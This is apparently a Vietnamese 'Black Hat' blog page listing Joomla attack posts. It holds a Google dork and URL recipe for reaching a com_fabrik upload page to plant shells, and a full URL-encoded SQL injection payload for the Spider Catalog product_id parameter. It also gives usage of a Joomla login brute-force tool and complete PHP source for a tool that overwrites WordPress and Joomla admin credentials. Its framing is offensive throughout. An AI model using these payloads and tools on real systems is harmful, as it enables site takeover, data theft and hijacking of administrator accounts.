Kiến thức Black Hat: Joomla

Joomla Shell Upload Vulnerability

<div dir="ltr" style="text-align: left;"><div style="text-align: center;"><div style="text-align: center;"><img alt="Joomla Shell Upload Vulnerability | Juno_okyo's Blog" height="278" src="https://encrypted-tbn0.google.com/images?q=tbn:ANd9GcRGy0OohVYYsdjP18tdrDu2uFV2y7eDy7D7EbJpLpucyMnuSmg_RhwTWA" style="color: #4b4b4b; line-height: 20px;" title="Joomla Shell Upload Vulnerability | Juno_okyo's Blog" width="320"></div></div>requirements: 1.mind use this google dork to find vulnerable joomla sites ##  google dork : inurl:index.php?option=com_fabrik after open the sites replace with this address ## index.php?option=com_fabrik&c=import&view=import&filetype=csv&tableid=1 for example ## "www.xyz.com/index.php" to "www.xyz.com/index.php?option=com_fabrik&c=import&view=import&filetype=csv&tableid=1" </div><a href="http://junookyo.blogspot.com/2012/11/joomla-shell-upload-vulnerability.html#more">ĐỌC TIẾP »</a>

Joomla Shell Upload Vulnerability

requirements: 1.mind use this google dork to find vulnerable joomla sites ## google dork : inurl:index.php?option=com_fabrik after open the...

Smart Hunter v.1.4.3 Public Version

Download : http://adf.ly/FRrSF

Joomla Exploit (Code)

In this video you will learn how to hack joomla Note:- This exploit only works on old version of joomla ĐỌC TIẾP »

Joomla Spider Catalog (index.php, product_id parameter) SQL Injection Vulnerability

<pre>1 ######################################### 1 0 I'm D4NB4R member from Inj3ct0r Team 1 1 ######################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 #Exploit Title: Joomla com_spidercatalog SQL injection Vulnerability Dork: inurl:index.php?option=com_spidercatalog Date: [31-10-2012] Author: Daniel Barragan "D4NB4R" Twitter: @D4NB4R Vendor: http://www.web-dorado.com/ Demo: http://www.web-dorado.com/products/joomla-catalog.html Version: 1.1 (last update on Sep 25, 2012) License: GPLv2 or later Commercial Tested on: [Linux(Arch)-Windows(7ultimate)] Descripcion: Spider Catalog for Joomla! is a convenient tool for organizing the products represented on your website into catalogs. Each product on the catalog is assigned with a relevant category, which makes it easier for the customers to search and identify the needed products within the catalog. It is possible to add an unlimited number of parameters for each of the categories in the catalog in order to allow a detailed representation of the product on the catalog. Moreover, each product on the catalog can be accompanied with an image. Customers are provided with the possibility of rating the products available on the catalog, as well as writing customer reviews that will appear under the catalog products. Spider Catalog provides you with a high level of customization concerning almost all the aspects of the catalog, ranging from background colors and text size inside the product cell to the number of products in the row and the number of customer reviews per catalog page. Vulnerable Parameter Name: product_id Parameter Type: Querystring Attack Pattern: -{Valid id}%27%20or%201%3d1%2b%28select%201%20and%20row%28 1%2c1%29%3E%28select%20count%28*%29%2cconcat%28CON CAT%28version%28%29,0x3D,database%28%29,0x3D,0x3D, 0x3D%29%2c1111%2cfloor%28rand%28%29*2%29%29x%20fro m%20%28select%201%20union%20select%202%29a%20group %20by%20x%20limit%201%29%29%2b%27&view=showproduct &page_num=1&back=1 Exploit Demo: SQLi : SQL injection http://localhost/index.php?option=co...e_num=1&back=1 Greetz: All Member Inj3ct0r Team * m1nds group (www.m1nds.com)* pilot * aku * navi_terrible * dedalo * ksha * shine * devboot * r0073r * indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 Jago-dz * Kha&miX * T0xic * Ev!LsCr!pT_Dz * By Over-X *Saoucha * Cyber Sec * theblind74 * onurozkan * n2n * Meher Assel * L0rd CruSad3r * MaYur * MA1201 * KeDar * Sonic * gunslinger_ * SeeMe * RoadKiller Sid3^effects * aKa HaRi * His0k4 * Hussin-X * Rafik * Yashar * SoldierOfAllah * RiskY.HaCK * Stake * MR.SoOoFe * ThE g0bL!N * AnGeL25dZ * ViRuS_Ra3cH * Sn!pEr.S!Te __________________________________________________ ___ Daniel Barragan "D4NB4R" 2012 </pre>

Joomla Spider Catalog (index.php, product_id parameter) SQL Injection Vulnerability

1 ######################################### 1 0 I'm D4NB4R member from Inj3ct0r Team 1 1 ######################################### 0 0-=...

[Tool] Joomscan Security Scanner - Update 611 lỗ hổng của Joomla

Hi All, Nhóm Web-center Security Team của Slovenia vừa update phiên bản mới cho công cụ quét lỗ hổng mang tên Joomscan. Joomscan là công cụ nhỏ gọn viết bằng ngôn ngữ PERL,dùng scan ứng dụng Joomla. Ở lần update này,database lỗ hổng đã tăng lên 611 vuls so với 550 vuls vào tháng 11 năm ngoái. Có thể update thông qua command-line (terminal) bằng lệnh : <pre class="prettyprint">./joomscan.pl update</pre> Cú pháp sử dụng khá đơn giản : VD: - Để scan website uns.vn ta sử dụng : ./joomscan.pl -u uns.vn - Chi tiết các options : ./joomscan.pl _LINK DOWNLOAD : - Windows : <a class="bbc_url" href="http://web-center.si/joomscan/joomscan.rar" rel="nofollow external" title="Liên kết ngoài">http://web-center.si...an/joomscan.rar</a> - Linux : <a class="bbc_url" href="http://web-center.si/joomscan/joomscan.tar.gz" rel="nofollow external" title="Liên kết ngoài">http://web-center.si...joomscan.tar.gz</a> Các bạn có thể download source về để optimize và bỏ vào toolbox.

[Tool] Joomscan Security Scanner - Update 611 lỗ hổng của Joomla

Hi All, Nhóm Web-center Security Team của Slovenia vừa update phiên bản mới cho công cụ quét lỗ hổng mang tên Joomscan. Joomscan là công cụ...

BJ-oomla v1.00 - Brute force Joomla tool

The BJ-oomla v1.00 this is a simple tool for brute force Joomla login. This tool made by S3K4 team and tested on Joomla <=1.5.25. Available options: -U file contain list user -P file contain list password -u username -p password -v verbose -s signal - default:"Administration Login" -g user-agent - default: "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0" <img alt="Posted Image" class="bbc_img" height="210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKHbjuywYiKT4Bkd71QKMExoc8pLUnIlaWIywMAYe1NFeHG3lJ7iTSTo9j9aZvRjuxwoLwGmcYMxosqxKIAJWfygKY16HcDiOiL9VEEvTgttbnNaOCbZJ6OSJdBFHanLw9ubMrSpJWAg/s400/bjtool.png" width="400" /> Using: #python bruteJoom.py -h <a class="bbc_url" href="http://test.com/" rel="nofollow external" title="External link">http://test.com</a> -u admin -P password.txt Download <a class="bbc_url" href="https://sites.google.com/site/thezonesec/S3K4-Team_BJ-oomla_v1.00.tar.gz?attredirects=0&d=1" rel="nofollow external" title="External link">https://sites.google...redirects=0&d=1</a> ZoneSec.Com

BJ-oomla v1.00 - Brute force Joomla tool

The BJ-oomla v1.00 this is a simple tool for brute force Joomla login. This tool made by S3K4 team and tested on Joomla <=1.5.25. Avail...

Joomla & Wordpress Login data Changer

<div id="post_message_7501"><div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Code:</div><pre class="alt2" dir="ltr" style="border: 1px inset; height: 498px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"><html dir="ltr"> <head> <meta http-equiv="Content-Language" content="en-us"> <meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> <title>HaCker-1420 - Joomla & Wordpress Login data Changer</title> <style> </style> </head> <body text="#C0C0C0" bgcolor="#000000" link="#FFFFFF" vlink="#C0C0C0" alink="#FFFFFF"> <div align="center"> <table border="1" width="98%" id="table1" dir="ltr" bgcolor="#404040" bordercolorlight="#FFFFFF" bordercolordark="#C0C0C0" bordercolor="#FFFFFF"> <tr> <td> !HaCker-1420 - Login Data Changer v1.0!</td> </tr> </table> </div> <div align="center"> <table border="1" width="98%" id="table3" dir="ltr" bgcolor="#404040" bordercolorlight="#FFFFFF" bordercolordark="#C0C0C0" bordercolor="#FFFFFF"> <tr> <td> !Powered By HaCker-1420--Dz hacker!</td> </tr> </table> </div> <div align="center"> <table border="1" width="98%" id="table4" dir="ltr" bgcolor="#404040" bordercolorlight="#FFFFFF" bordercolordark="#C0C0C0" bordercolor="#FFFFFF" height="200"> <tr> <td align="left" width="50%" valign="top"> <div align="center"> <table border="1" width="100%" id="table5" dir="ltr" bgcolor="#404040" bordercolorlight="#FFFFFF" bordercolordark="#C0C0C0" bordercolor="#FFFFFF"> <tr> <td bgcolor="#800000"> Wordpress Login Changer</td> </tr> </table> </div> <? if(empty($_POST['pwd'])){ echo "<FORM method=\"POST\"> host : <INPUT size=\"15\" value=\"localhost\" name=\"localhost\" type=\"****\"> database : <INPUT size=\"15\" value=\"Database\" name=\"database\" type=\"****\"> username : <INPUT size=\"15\" value=\"Username\" name=\"username\" type=\"****\"> password : <INPUT size=\"15\" value=\"password\" name=\"password\" type=\"password\"> New username : <INPUT name=\"admin\" size=\"15\" value=\"admin\"> New password : <INPUT name=\"pwd\" size=\"15\" value=\"admin\"> <INPUT value=\"change\" name=\"send\" type=\"submit\"> </FORM>"; }else{ $localhost = $_POST['localhost']; $database = $_POST['database']; $username = $_POST['username']; $password = $_POST['password']; $pwd = $_POST['pwd']; $admin = $_POST['admin']; @mysql_connect($localhost,$username,$password) or die(mysql_error()); @mysql_select_db($database) or die(mysql_error()); $hash = crypt($pwd); $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error()); $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error()); if($a4s){ echo "root@secure:# ~ Success : U Can Log In Using The New Data - Greetings From HaCker-1420 "; } } ?> </td> <td align="left" width="50%" valign="top"> <div align="center"> <table border="1" width="100%" id="table6" dir="ltr" bgcolor="#404040" bordercolorlight="#FFFFFF" bordercolordark="#C0C0C0" bordercolor="#FFFFFF"> <tr> <td bgcolor="#800000"> Joomla Login Changer</td> </tr> </table> </div> <? if(empty($_POST['pwd'])){ echo "<FORM method=\"POST\"> host : <INPUT size=\"15\" value=\"localhost\" name=\"localhost\" type=\"text\"> database : <INPUT size=\"15\" value=\"database\" name=\"database\" type=\"text\"> username : <INPUT size=\"15\" value=\"db_user\" name=\"username\" type=\"text\"> password : <INPUT size=\"15\" value=\"password\" name=\"password\" type=\"password\"> New Username: <INPUT name=\"admin\" size=\"15\" value=\"admin\"> New Password: Use MD5 Hash or leave that, the new pass will be 123456 <INPUT name=\"pwd\" size=\"15\" value=\"e10adc3949ba59abbe56e057f20f883e\"> <INPUT value=\"change\" name=\"send\" type=\"submit\"> </FORM>"; }else{ $localhost = $_POST['localhost']; $database = $_POST['database']; $username = $_POST['username']; $password = $_POST['password']; $pwd = $_POST['pwd']; $admin = $_POST['admin']; @mysql_connect($localhost,$username,$password) or die(mysql_error()); @mysql_select_db($database) or die(mysql_error()); $hash = crypt($pwd); $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 1") or die(mysql_error()); $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 1") or die(mysql_error()); if($SQL){ echo "root@secure:# ~ Success : U Can Log In Using The New Data - Greetings From HaCker-1420 "; } } ?> </td> </tr> </table> </div> <div align="center"> <table border="1" width="98%" id="table7" dir="ltr" bgcolor="#800000" bordercolorlight="#FFFFFF" bordercolordark="#C0C0C0" bordercolor="#FFFFFF" height="110"> <tr> <td valign="top"> Special Greets To : All <a href="http://www.gaza-hacker.com/cc/">Gaza-hacker</a> members Th3 Viper - !-Bb0yH4cK3r_Dz-!- -- L3b-R1z- read our news at : <a href="https://www.facebook.com/profile.php?id=100002945116030">Ozil.Mohamed</a></td> </tr> </table> </div> </body> </html></pre></div></div>

Joomla & Wordpress Login data Changer

Code: <html dir="ltr"> <head> <meta http-equiv="Content-Language" content="en-us"> <meta ...

Post Labels